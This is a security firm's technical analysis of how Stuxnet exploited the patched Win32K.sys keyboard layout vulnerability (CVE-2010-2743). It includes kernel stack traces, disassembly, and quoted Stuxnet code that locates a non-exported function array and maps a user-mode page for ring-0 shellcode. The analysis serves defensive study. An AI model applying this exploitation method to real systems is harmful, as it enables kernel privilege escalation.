Technical
Analysis of the Windows
Win32K.sys Keyboard Layout Stuxnet Exploit
Hi
everyone,
This time we will share very interesting technical details on how Stuxnet
authors have achieved reliable code execution while exploiting one of the two
Windows privilege escalation 0-Day vulnerabilities. This one was patched last week
with the MS10-073 update, and a remaining Task Scheduler vulnerability is still
unpatched.
While we deeply analyzed Stuxnet and its behaviors, we will not explain its
architecture or features as two detailed documents have already been published
by our friends from Symantec and ESET.
We will focus here on the Windows Win32K.sys keyboard layout vulnerability (CVE-2010-2743) and
how it was exploited by Stuxnet using custom Portable Executable (PE) parsing
tricks to achieve a reliable code execution.
1. Technical Analysis of the Vulnerability
This specific vulnerability exists within the Windows kernel-mode driver
"win32k.sys" that does not properly index a table of function pointers when
loading a keyboard layout from disk.
Usually keyboard layout files are loaded through the "LoadKeyboardLayout()"
function which is a wrapper around the "NtUserLoadKeyboardLayoutEx()" win32k
syscall.
Below is a kernel stack trace when loading a keyboard layout file:
kd> kn
# ChildEBP RetAddr
00 b0982944 bf861cd1 win32k!SetGlobalKeyboardTableInfo
01 b0982958 bf889720 win32k!ChangeForegroundKeyboardTable+0x11c
02 b0982978 bf87580e win32k!xxxSetPKLinThreads+0x37
03 b09829f0 bf875588 win32k!xxxLoadKeyboardLayoutEx+0x395
04 b0982d40 8053d658
win32k!NtUserLoadKeyboardLayoutEx+0x164
05 b0982d40 7c90e514 nt!KiFastCallEntry+0xf8
06 0012fccc 00402347 ntdll!KiFastSystemCallRet
; (transition from user to kernel)
|
Once a crafted file
is loaded by the Win32K kernel driver, the malware sends an event to the
keyboard input stream to effectively trigger the vulnerability. This was
achieved by calling the "user32!SendUserInput()" function which, in turn, calls
"win32k!NtUserSendInput()" and ultimately the "win32k!xxxKENLSProcs()" function:
kd> kn
# ChildEBP RetAddr
00 b0a5ac88 bf848c64 win32k!xxxKENLSProcs
01 b0a5aca4 bf8c355b win32k!xxxProcessKeyEvent+0x1f9
02 b0a5ace4 bf8c341b win32k!xxxInternalKeyEventDirect+0x158
03 b0a5ad0c bf8c3299 win32k!xxxSendInput+0xa2
04 b0a5ad50 8053d658 win32k!NtUserSendInput+0xcd
05 b0a5ad50 7c90e514 nt!KiFastCallEntry+0xf8
06 0012fd08 7e42f14c ntdll!KiFastSystemCallRet
07 0012fd7c 00401ded USER32!NtUserSendInput+0xc
WARNING: Stack unwind information not available. Following frames may be
wrong.
08 0012fdac 00401331 CVE_2010_2743+0x1ded
|
Inside the "win32k!xxxKENLSProcs()"
function, the Win32K driver retrieves a byte from
the keyboard layout file which was previously
loaded. This byte is set into the ECX register and
then used as an index in an array of function
pointers:
; In win32k!xxxKENLSProcs()
function starting at 0xBF8A1F9C
; Module: win32k.sys - Module Base: 0xBF800000 - version: 5.1.2600.6003
;
.text:BF8A1F50 movzx ecx, byte ptr [eax-83h] // ECX is
attacker-controlled
.text:BF8A1F57 push edi
.text:BF8A1F58 add eax, 0FFFFFF7Ch
.text:BF8A1F5D push eax
.text:BF8A1F5E call _aNLSVKFProc[ecx*4]
// indexed call in function array
|
The aNLSVKFProc function array
contains three functions and is followed by an
array of byte values:
.data:BF99C4B8
_aNLSVKFProc dd
offset _NlsNullProc@12
.data:BF99C4BC
dd offset _KbdNlsFuncTypeNormal@12
.data:BF99C4C0
dd offset
_KbdNlsFuncTypeAlt@12
.data:BF99C4C4 _aVkNumpad db 67h
.data:BF99C4C5
db 68h
.data:BF99C4C6
db 69h
.data:BF99C4C7
db 0FFh
.data:BF99C4C8
db 64h
.data:BF99C4C9
db 65h
.data:BF99C4CA
db 66h
.data:BF99C4CB
db 0FFh
.data:BF99C4CC
db
61h
.data:BF99C4CD
db
62h
.data:BF99C4CE
db 63h
.data:BF99C4CF
db 60h
.data:BF99C4D0
db 6Eh
.data:BF99C4D1
db 0
.data:BF99C4D2
db 0
.data:BF99C4D3
db 0
[...]
|
If an index value greater than 2 is supplied, the
code will treat data in the byte array as
pointers.
If the index has a value of 5, the code in the
"win32k!xxxKENLSProcs()" function will call the
pointer at 0xBF99C4CC, which means that the code
flow is redirected to 0x60636261.
kd> dds win32k!aNLSVKFProc
L6
bf99c4b8 bf9332ca win32k!NlsSendBaseVk
// index
0
bf99c4bc bf93370c win32k!KbdNlsFuncTypeNormal
//
index 1
bf99c4c0 bf933752 win32k!KbdNlsFuncTypeAlt
//
index 2
bf99c4c4 ff696867
//
index
3
bf99c4c8 ff666564
//
index 4
bf99c4cc 60636261
//
index 5
[...]
|
As this address could be
controlled from userland, an attacker can place a
ring0 shellcode at this address to achieve code
execution with kernel privileges.
2. Reliable Code Execution via PE Parsing
To get a reliable code execution with
different versions of the "win32k.sys" driver
while the aNLSVKFProc function array is not
exported, Stuxnet authors had to ensure that the
indexed data outside the aNLSVKFProc array will
always be valid a pointer that can controlled from
userland, and used in the "call" instruction.
To achieve this task the Stuxnet exploit parses
the Win32K.sys file and does the following:
- Loads the win32K.sys file as a flat data file
- Gets some information from the PE header (number
of sections, export and import data directories,
etc.)
- Gets Timestamp info
- Gets .data section VA
- Gets .data section information
- Gets .text VA
- Gets .text section information
- Searches for a specific binary signature
- Searches for the NLSVKFProcs function array
Stuxnet uses a binary signature which is present
in all "win32K.sys" driver versions (on Windows
2000 and Windows XP) whatever service packs or
patches are installed on the target system.
This signature corresponds to the first 8 bytes of
the "aulShiftControlCvt_VK_IBM02" variable (not
exported), located in the .data section of the
binary file:
.data:BF99C4DC
_aulShiftControlCvt_VK_IBM02
.data:BF99C4DC db
91h
.data:BF99C4DD db
0
.data:BF99C4DE db 3
.data:BF99C4DF db 1
.data:BF99C4E0 db 90h
.data:BF99C4E1 db 0
.data:BF99C4E2 db 13h
.data:BF99C4E3 db 1
|
This signature is known to be:
- Present in all versions of Win32K drivers
- Unique
- Near the aNLSVKFProc function array
Once this signature is found, the malware uses an
arbitrary range of - 1000 to +1000 bytes from the
signature and starts searching for a pointer to
the code section of the driver.
In the example below, the pointer at 0xBF99C478
(0xBF9332CA) is a pointer to the code section:
.data:BF99C470 07
00 00 00 00 00 00 00 CA 32 93 BF
59 1D 96 BF
.data:BF99C480 CA 32 93 BF D5 32 93 BF 0D 35 93 BF 80 38 93 BF
|
The above data dump looks like this when viewed
from a code perspective:
.data:BF99C470
_fNlsKbdConfiguration db 7
.data:BF99C471
align 8
.data:BF99C478 _aNLSKEProc
dd offset _NlsNullProc@12
.data:BF99C47C off_BF99C47C
dd offset _NlsLapseProc@12
.data:BF99C480
dd offset _NlsNullProc@12
[...]
|
When such a pointer is found,
the malware applies the following algorithm to a
particular pointer (remember that the code is
currently stopped at 0xBF99C478, which we call "pLoc"):
- pLoc[0] and pLoc[2] must be the same pointers:
.data:BF99C478 _aNLSKEProc
dd offset _NlsNullProc@12
.data:BF99C47C off_BF99C47C
dd offset _NlsLapseProc@12
.data:BF99C480
dd offset _NlsNullProc@12
|
- pLoc[0] and pLoc[1] must not
be the same pointers.
.data:BF99C478 _aNLSKEProc
dd offset _NlsNullProc@12
.data:BF99C47C off_BF99C47C
dd offset _NlsLapseProc@12
.data:BF99C480
dd offset _NlsNullProc@12
|
- pLoc[0] and pLoc[4] must not
be the same pointers.
.data:BF99C478 _aNLSKEProc
dd offset _NlsNullProc@12
.data:BF99C47C off_BF99C47C
dd offset _NlsLapseProc@12
.data:BF99C480
dd offset _NlsNullProc@12
.data:BF99C484
dd offset _NlsSendParamVk@12
|
At that point, the malware
knows that it may have found "_aNLSKEProc". For
this, it checks if the pointer at this address is
really a pointer to the NlsNullProc() function by
searching for a RETN 0C instruction (opcodes:
0xC20C) in the very first bytes of the function:
.text:BF9332CA ;
__stdcall NlsNullProc(x, x, x)
.text:BF9332CA _NlsNullProc@12 proc near
.text:BF9332CA
xor eax, eax
.text:BF9332CC
inc
eax
.text:BF9332CD
retn 0Ch
// opcodes: 0xC2 0x0C
.text:BF9332CD _NlsNullProc@12 endp
|
Below is an excerpt of the Stuxnet malware doing
this opcode search:
CPU Disasm
10002C5F PUSH 2
10002C61 ADD ECX,DWORD PTR SS:[LOCAL.5]
// ecx
points to func. code
10002C64 |XOR EAX,EAX
10002C66 |POP EDI
//
edi = 2
10002C67 |/TEST EAX,EAX
10002C69 ||JNE SHORT 10002C7E
10002C6B ||CMP WORD PTR DS:[ECX+EDI],0CC2
//
c2 0c => RETN 0c
10002C71 ||SETE AL
//
set AL on condition
10002C74 ||INC EDI
10002C75 ||CMP EDI,0A
//
check only for the first 8 bytes
10002C78 |\JB SHORT 10002C67
|
If the "RETN 0C" code is found,
the code is currently located on the _aNLSKEProc
variable (0xBF99C478):
.data:BF99C478 _aNLSKEProc
dd offset _NlsNullProc@12
|
From there, the code searches for and goes to the
next "NlsNullProc()" function pointer:
.data:BF99C4B0
dd offset _NlsKanaEventProc@
.data:BF99C4B4
dd offset
_NlsConvOrNonConvProc@12
.data:BF99C4B8 _aNLSVKFProc:
.data:BF99C4B8
dd
offset _NlsNullProc@12
.data:BF99C4BC
dd offset
_KbdNlsFuncTypeNormal@
.data:BF99C4C0
dd offset
_KbdNlsFuncTypeAlt@12
|
As we can see, it founds the
non-exported aNLSVKFProc function array. To ensure
this is the right variable, the malware does two
more checks:
- Pointer at +2 cannot be NlsNullProc:
.data:BF99C4B0
dd offset
_NlsKanaEventProc@
.data:BF99C4B4
dd offset
_NlsConvOrNonConvProc@12
.data:BF99C4B8 _aNLSVKFProc:
.data:BF99C4B8
dd
offset _NlsNullProc@12
.data:BF99C4BC
dd offset
_KbdNlsFuncTypeNormal@
.data:BF99C4C0
dd
offset _KbdNlsFuncTypeAlt@12
|
- Pointer at -2 canot be NlsNullProc:
.data:BF99C4B0
dd
offset _NlsKanaEventProc@
.data:BF99C4B4
dd offset
_NlsConvOrNonConvProc@12
.data:BF99C4B8 _aNLSVKFProc:
.data:BF99C4B8
dd
offset _NlsNullProc@12
.data:BF99C4BC
dd offset
_KbdNlsFuncTypeNormal@
.data:BF99C4C0
dd offset
_KbdNlsFuncTypeAlt@12
|
Once all these checks are
passed, the malware is now pretty sure that it is
on aNLSVKFProc. It then checks starting from the
function array for the first user-mode pointer:
CPU Disasm
10002B35 MOV EDI,10000
// edi = 0x10000
10002B3A /MOV ECX,DWORD PTR SS:[ARG.2]
//
_aNLSVKFProc
10002B3D |MOVZX EAX,BL
10002B40 |MOV ESI,DWORD PTR DS:[EAX*4+ECX]
// esi =
_aNLSVKFProc[i]
10002B43 |CMP ESI,7FFF0000
//
must be in user space
10002B49 |JNB SHORT 10002B91
10002B4B |CMP DWORD PTR SS:[ARG.6],0
10002B4F |JNE SHORT 10002B55
10002B51 |CMP ESI,EDI
//
must be above 0x10000
10002B53 |JB SHORT 10002B91
10002B55 |PUSH 1C
10002B57 |LEA EAX,[LOCAL.10]
10002B5A |PUSH EAX
10002B5B |PUSH ESI
//
pointer outside array
10002B5C |CALL DWORD PTR DS:[VirtualQuery_p]
// get
page information
10002B62 |CMP EAX,1C
10002B65 |JA SHORT 10002BA7
10002B67 |CMP DWORD PTR SS:[LOCAL.6],EDI
// is it
a MEM_FREE page?
10002B6A |JNE SHORT 10002B91
10002B6C |PUSH 40
10002B6E |PUSH 3000
10002B73 |LEA EAX,[LOCAL.3]
10002B76 |PUSH EAX
10002B77 |PUSH 0
10002B79 |LEA EAX,[LOCAL.1]
10002B7C |PUSH EAX
10002B7D |MOV DWORD PTR SS:[LOCAL.1],ESI
10002B80 |CALL DWORD PTR DS:[GetCurrentProcess_p]
10002B86 |PUSH EAX
10002B87 |CALL DWORD PTR DS:[NtAllocateVirtualMemory_p]
//
alloc page
10002B8D |TEST EAX,EAX
10002B8F |JE SHORT 10002BB0
10002B91 |INC BL
10002B93 |CMP BL,0FF
// i <=
255
10002B96 \JBE SHORT 10002B3A
|
The above code snippet, extracted from Stuxnet,
extracts pointers from the table (even outside the
table) and checks if the pointer is below
0x7FFF0000 (first address outside userland
addresses) and above 0x10000.
The code checks if the page is not already mapped.
If it is not, the page is allocated. In our
example, this would lead to allocate the page
containing the address 0x60636261:
kd> dds win32k!aNLSVKFProc
L6
bf99c4b8 bf9332ca win32k!NlsSendBaseVk
// index 0
bf99c4bc bf93370c win32k!KbdNlsFuncTypeNormal
// index
1
bf99c4c0 bf933752 win32k!KbdNlsFuncTypeAlt
// index
2
bf99c4c4 ff696867
// index
3
bf99c4c8 ff666564
// index
4
bf99c4cc 60636261
// index
5
[...]
|
Once the page is allocated, the malware does the following:
- Copies a shellcode to that address (0x60636261).
- Saves the malicious index (5 in our example) in
a keyboard layout file.
- Loads the layout file and sends the input event
to trigger the vulnerability
This last step leads to "win32k!xxxKENLSProcs()"
and to the indexed call, leading to arbitrary code
execution of the shellcode with kernel privileges.
; In win32k!xxxKENLSProcs() function starting at
0xBF8A1F9C
; Module: win32k.sys - Module Base: 0xBF800000 - version: 5.1.2600.6003
;
.text:BF8A1F50 movzx ecx, byte ptr [eax-83h]
// ECX = 5
.text:BF8A1F57 push edi
.text:BF8A1F58 add eax, 0FFFFFF7Ch
.text:BF8A1F5D push eax
.text:BF8A1F5E call _aNLSVKFProc[ecx*4]
// Call 0x60636261
|
As we can see, the custom PE
parsing used in Stuxnet ensures that whatever the
operating system is (2000 or XP) and the service
packs or patches are installed, the function array
can be reliably found and the vulnerability
exploited.
This method could be improved or implemented
differently, but it does its job as expected and
it demonstrates, once again, that malware authors
are getting smarter.
© Copyright VUPEN Security
|